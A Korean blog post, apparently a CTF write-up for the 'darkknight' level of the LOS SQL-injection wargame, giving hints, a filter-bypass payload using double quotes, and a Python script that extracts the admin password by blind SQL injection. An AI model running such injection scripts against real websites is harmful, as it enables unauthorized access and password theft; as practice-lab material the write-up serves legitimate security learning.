본문으로 바로가기

[LOS] – darkknight 힌트 및 풀이

category CTF/LOS 2019. 4. 6. 16:28

힌트1.   pw와 no에는 어떤 것들을 필터링 하는지 분석.

힌트2.  제시된 쿼리를 자세히 보면 알 수 있을 듯

힌트3. no에는 싱글쿼터를 막지만 쿼리에는 쿼터 자체가 없다.

 

 

 

 

 

풀이
필터링 된것들을 토대로, 내 지식으론 pw에 어떤 공격을 해도 먹히지 않을 거 같다는 생각이 들었다.
쿼리를 자세히 보면 no에는 쿼터 자체가 없다. 필요에 따라 싱글쿼터를 써야 하는 경우가 있는데 no에는 싱글쿼터를 필터링 하고 있다. 다른 방법이 있다면 더블쿼터를 쓰는 것이다.
?no=1 or id like “admin”

admin으로 로그인 했는데 pw도 알아야만 문제가 풀린다.
이번에도 역시 python과 함께했다.
아래 코드는 pw 길이와 pw를 알아내는 코드이다.

import requests
import string
import time

wordList=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')']
passwdLen = 0
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
			'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
			'Accept-Language' : 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7',
			'Cookie': 'PHPSESSID=값값값값값값값',
			'Connection': 'close'
	     }		


'''
######## Find the password length #######
'''

print("Searching password length...")
for count in range(1,20):
	time.sleep(0.5)
	url = 'http://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?no=1 or id like "admin" and length(pw) like '+str(count)
	req = requests.get(url, headers=header)
	print(url)
	if req.text.find("<h2>Hello admin</h2>") != -1:		# if not found, return -1
		print("password length : %d" % count)
		passwdLen = count
		break


'''
######## Find the password #######
'''

print("Searching password...")
for count in range(1,passwdLen+1):
	for string in range(len(wordList)):
		time.sleep(0.5)
		url = 'http://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?no=1 or id like "admin" and mid(pw,'+str(count)+',1) like "'+str(wordList[string])+'"'
		req = requests.get(url, headers=header)
		print(url)
		if req.text.find("<h2>Hello admin</h2>") != -1:	# if not found, return -1	
			print(wordList[string])
			break

'CTF > LOS' 카테고리의 다른 글

[LOS] – giant 풀이  (0) 2019.04.06
[LOS] – bugbear 힌트 및 풀이  (0) 2019.04.06
[LOS] – darkknight 힌트 및 풀이  (0) 2019.04.06
[LOS] – skeleton 힌트 및 풀이  (0) 2019.04.06
[LOS] – vampire 힌트 및 풀이  (0) 2019.04.06
[LOS] – troll 힌트 및 풀이  (0) 2019.04.06

댓글을 달아 주세요